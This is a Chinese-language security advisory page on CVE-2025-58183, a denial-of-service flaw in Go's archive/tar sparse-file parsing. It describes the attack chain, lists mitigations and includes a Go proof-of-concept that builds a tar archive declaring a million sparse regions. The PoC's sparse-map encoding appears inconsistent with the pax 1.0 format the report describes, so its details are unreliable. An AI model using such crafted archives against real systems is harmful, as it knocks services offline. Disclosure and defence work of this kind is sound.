IPBUF安全漏洞报告
English
CVE-2025-58183 CVSS 4.3 中危

CVE-2025-58183: Go语言archive/tar包稀疏文件内存耗尽漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-58183
漏洞类型
内存耗尽/拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Go语言 (golang) archive/tar包

相关标签

Go语言archive/tar内存耗尽拒绝服务稀疏文件CVE-2025-58183PAX格式GNU tarDoS

漏洞概述

CVE-2025-58183是Go语言标准库中archive/tar包的拒绝服务漏洞。该漏洞源于tar.Reader在处理GNU tar pax 1.0格式的稀疏文件时,没有对稀疏区域数据块的数量设置合理的上限。攻击者可以精心构造一个包含大量稀疏区域的tar归档文件,当受害者程序尝试读取该恶意归档文件时,会导致Reader从归档中读取无界数据到内存中,造成内存耗尽。特别值得注意的是,当从压缩源(如gzip压缩的tar文件)读取时,较小的压缩输入可以触发巨大的内存分配,从而放大攻击效果。此漏洞可能导致目标程序因内存耗尽而崩溃,造成拒绝服务。漏洞由[email protected]发现并报告,影响所有使用Go语言archive/tar包解析用户提供的tar文件的应用程序。

技术细节

该漏洞的技术核心在于Go语言archive/tar包的Reader实现中缺少对稀疏区域数量的验证。在GNU tar pax 1.0稀疏文件格式中,稀疏区域通过PAX头部扩展属性定义,包含稀疏块的位置和大小信息。正常情况下,稀疏文件可以有效地存储大量零数据,但恶意构造的归档可以包含数百万个稀疏区域声明。当tar.Reader调用readSparse函数处理这些稀疏区域时,会为每个区域执行内存分配操作,导致累积性的内存消耗。攻击者利用这一特性可以:1)创建一个包含极多稀疏区域的tar文件;2)通过压缩进一步减小文件体积但保持高内存放大因子;3)诱使受害者程序解析该文件。修复方案需要在Reader中增加稀疏区域数量的上限检查,建议限制为合理值(如10000个稀疏区域),并在超出限制时返回错误而非继续处理。

攻击链分析

STEP 1
1
攻击者创建恶意tar归档文件,包含大量稀疏区域声明(可达百万级)
STEP 2
2
攻击者可选地使用gzip等压缩算法压缩tar文件,减小文件体积但保持高内存放大效应
STEP 3
3
攻击者通过钓鱼邮件、文件共享服务或供应链攻击等方式将恶意tar文件传递给受害者
STEP 4
4
受害者应用程序使用Go语言的archive/tar包解析该文件(如解压、备份、文件浏览等功能)
STEP 5
5
tar.Reader的readSparse函数处理稀疏区域时,因缺少上限检查而持续分配内存
STEP 6
6
最终导致目标程序内存耗尽,触发OOM Killer或系统交换,最终造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
package main import ( "archive/tar" "bytes" "fmt" "io" ) func generateMaliciousSparseTar() ([]byte, error) { buf := new(bytes.Buffer) tw := tar.NewWriter(buf) // Create a header with PAX format sparse attributes hdr := &tar.Header{ Name: "malicious_sparse_file", Mode: 0644, Size: int64(1 << 40), // Large logical size Format: tar.FormatPAX, PAXRecords: make(map[string]string), } // Generate millions of sparse regions // This will cause unbounded memory allocation const numSparseRegions = 1000000 // PAX sparse format: SPARSE_EXTENSIONS (GNU sparse format) sparseData := "0 0\n" for i := 0; i < numSparseRegions; i++ { offset := int64(i * 4096) numBytes := int64(4096) sparseData += fmt.Sprintf("%d %d\n", offset, numBytes) } hdr.PAXRecords["GNU.sparse.map"] = sparseData if err := tw.WriteHeader(hdr); err != nil { return nil, err } // Write minimal data (sparse regions reference non-existent data) if _, err := tw.Write([]byte("X")); err != nil { return nil, err } if err := tw.Close(); err != nil { return nil, err } return buf.Bytes(), nil } func main() { fmt.Println("Generating malicious sparse tar archive...") maliciousTar, err := generateMaliciousSparseTar() if err != nil { fmt.Printf("Error generating tar: %v\n", err) return } fmt.Printf("Generated tar file size: %d bytes\n", len(maliciousTar)) fmt.Println("To trigger vulnerability, parse this with archive/tar.Reader") // Vulnerable code path tr := tar.NewReader(bytes.NewReader(maliciousTar)) for { hdr, err := tr.Next() if err == io.EOF { break } if err != nil { fmt.Printf("Error reading tar: %v\n", err) return } fmt.Printf("Processing file: %s\n", hdr.Name) // This will allocate unbounded memory for sparse processing // io.Copy(io.Discard, tr) // Uncomment to trigger memory allocation } } /* Vulnerability Explanation: 1. The tar archive contains a header with PAX sparse map attributes 2. PAXRecords["GNU.sparse.map"] contains millions of sparse region entries 3. When tar.Reader processes this header, it reads all sparse regions 4. Each sparse region may trigger memory allocation 5. Result: Small compressed input -> massive memory allocation -> DoS Mitigation: Upgrade to Go version with CVE-2025-58183 fix applied. */

影响范围

Go语言所有版本(修复前)
建议升级至包含CVE-2025-58183修复的Go安全版本

防御指南

临时缓解措施
如果无法立即升级Go语言版本,可采取以下临时缓解措施:1)限制用户上传的tar文件大小,建议不超过100MB;2)在解析tar文件前检查文件内容,统计稀疏区域数量;3)使用进程级别的内存限制(cgroups、ulimit);4)考虑使用沙箱环境隔离解析操作;5)实施网络层面的访问控制,防止恶意文件传播;6)定期监控应用程序内存使用,设置合理的告警阈值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表